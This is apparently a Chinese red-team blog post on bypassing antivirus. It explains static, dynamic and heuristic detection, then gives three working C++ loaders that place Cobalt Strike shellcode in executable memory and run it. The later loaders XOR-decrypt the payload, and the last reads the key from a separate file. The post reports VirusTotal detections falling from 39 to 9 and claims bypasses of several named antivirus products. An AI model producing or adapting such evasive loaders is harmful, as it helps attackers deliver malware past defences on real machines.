杀软

在之前的很多红蓝项目中,总是难免遇到杀软,但苦于对免杀了解得不多,都导致没有很顺畅的开展。既然“域ADCS-ESC配置错误”已经完结了,索性开始研究研究免杀。

在现如今的杀软中,对于病毒木马识别,无非就是静态特征识别、动态特征识别、启发式识别。

  1. 静态特征识别(Static Signature Detection)

    • 定义: 静态特征识别是一种基于文件的检测方法,通过分析文件的静态属性,如文件的哈希值、文件大小、文件类型、文件结构等,来确定文件是否包含已知的病毒或恶意代码。

    • 工作原理: 杀毒软件使用病毒数据库中的病毒特征签名(或哈希值)来比对文件,如果文件的特征与已知病毒特征匹配,那么该文件被标记为恶意。

  2. 动态特征识别(Dynamic Behavioral Detection)

    • 定义: 动态特征识别是一种基于程序运行时行为的检测方法,它关注软件在执行过程中的行为,以识别是否存在恶意活动。

    • 工作原理: 杀毒软件监视程序的执行,分析其行为,如文件的读写、网络通信、系统调用等。如果程序表现出与恶意软件相似的行为模式,就可能被标记为潜在的威胁。

  3. 启发式识别(Heuristic Detection)

    • 定义: 启发式识别是一种基于启发式规则的检测方法,它不依赖于已知的病毒特征,而是通过分析文件或程序的行为和特征,识别可能的威胁。

    • 工作原理: 杀毒软件使用启发式算法来评估文件或程序的潜在威胁程度,而不是仅仅依赖已知的病毒签名。这样可以检测那些尚未被明确定义为病毒的新威胁。

静态bypass shellcode异或加密

通常在使用c2的时候,都会生成对应的shellcode,然后再通过各种方法将shellcode加载进内存中运行。但是各种c2的shellcode的特征都被各大杀软厂商盯得死死的,导致携带shellcode的程序无法正常落地。

对于这种静态特征识别,通过加密、混淆、加壳、二次编译等手段还是能够有效的进行bypass的。本次就先试试通过异或加密shellcode进行bypass。

首先通过cs生成一个shellcode:

再通过简单的shellcode加载器代码,将shellcode植入进内存运行:

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
unsigned char data[] = "shellcode";

int main(void) {
    
    void* exec = VirtualAlloc(0, sizeof data, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, data, sizeof data);
    ((void(*)())exec)();

    return 0;
}

可以很直接看到ShellCodeLoad.exe刚一生成就被某绒发现:

将生产的木马程序上传至virus,直接被39个厂商识别为病毒文件:

对shellcode进行异或加密看看是怎么个情况,可以看到virus数量虽然有减少,但是仍然被25家厂商检测为病毒文件:

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
//异或后的shellcode
unsigned char data[] =
"shellcode";

//异或逻辑
void xorOperation(unsigned char* data, const unsigned char* key, size_t dataLength, size_t keyLength) {
    for (size_t i = 0; i < dataLength; ++i) {
        data[i] ^= key[i % keyLength];
    }
}

int main(void) {
 

 //异或使用的密码
    unsigned char key2[] = "T0ngMystic";

    // 计算数据数组和密钥数组的长度
    size_t dataLength = sizeof(data) - 1; // 减去字符串结束符
    size_t keyLength = strlen(reinterpret_cast<const char*>(key2)); // 使用 strlen 获取字符串长度

    // 执行加密操作
    xorOperation(data, key2, dataLength, keyLength);

    
    void* exec = VirtualAlloc(0, sizeof data, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, data, sizeof data);
    ((void(*)())exec)();

    return 0;
}

某绒同样也检测为病毒文件:

现在已经对shellcode进行了异或处理了,按道理杀软已经无法直接对shellcode标记为病毒了,那么是不是杀软对程序进行了动态识别,使用了沙箱检测过程中是否产生了病毒特征(我的猜测),那么既然如此,现在能想到的就是shellcode与加载器分离,但是网上shellcode分离已经挺多的了,我这里分离异或使用的key吧(自行将异或使用的key放至password.txt文件中):

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>
//异或后的shellcode
unsigned char data[] ="shellcode";

void xorOperation(unsigned char* data, const unsigned char* key, size_t dataLength, size_t keyLength) {
    for (size_t i = 0; i < dataLength; ++i) {
        data[i] ^= key[i % keyLength];
    }
}

int main(void) {
    std::string filePath = "password.txt";

    // 打开文件
    std::ifstream inputFile(filePath);

    // 检查文件是否成功打开
    if (!inputFile.is_open()) {
        std::cerr << "无法打开文件: " << filePath << std::endl;
        return 1;
    }

    // 用于存储密码的容器
    std::vector<std::string> key1;

    // 读取文件内容
    std::string password;
    while (std::getline(inputFile, password)) {
        // 将每一行的密码保存到容器中
        key1.push_back(password);
    }

    // 关闭文件
    inputFile.close();

    // 打印读取的密码
    std::cout << "读取的密码:" << std::endl;
    for (const auto& password : key1) {
        std::cout << password << std::endl;
    }


    std::string inputString = password;

    const char* cString = inputString.c_str();
    size_t length = inputString.length();

    // 创建并复制到 unsigned char 数组
    unsigned char* key2 = new unsigned char[length + 1]; // +1 用于 null 结尾符
    std::copy(cString, cString + length + 1, key2);

    // 打印结果
    std::cout << "转换后的 unsigned char 数组: " << key2 << std::endl;



    // 计算数据数组和密钥数组的长度
    size_t dataLength = sizeof(data) - 1; // 减去字符串结束符
    size_t keyLength = strlen(reinterpret_cast<const char*>(key2)); // 使用 strlen 获取字符串长度


    // 执行加密操作
    xorOperation(data, key2, dataLength, keyLength);

    // 显示加密结果
    std::cout << "加密后: ";
    for (size_t i = 0; i < dataLength; ++i) {
        // 以字符形式打印每个字节
        std::cout << "\\x" << std::hex << static_cast<int>(data[i]);

    }
    std::cout << std::endl;
    
    void* exec = VirtualAlloc(0, sizeof data, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, data, sizeof data);
    ((void(*)())exec)();

    return 0;
}

经过shellcode异或加密和将异或所使用的key进行分离,可以在Virus上明显看到能够识别的厂商大量减少,从最初的39降到了9:

可以看到某步识别该程序为安全:

成功bypass某绒:

成功bypass某数字杀软:

成功bypass某安信的某擎: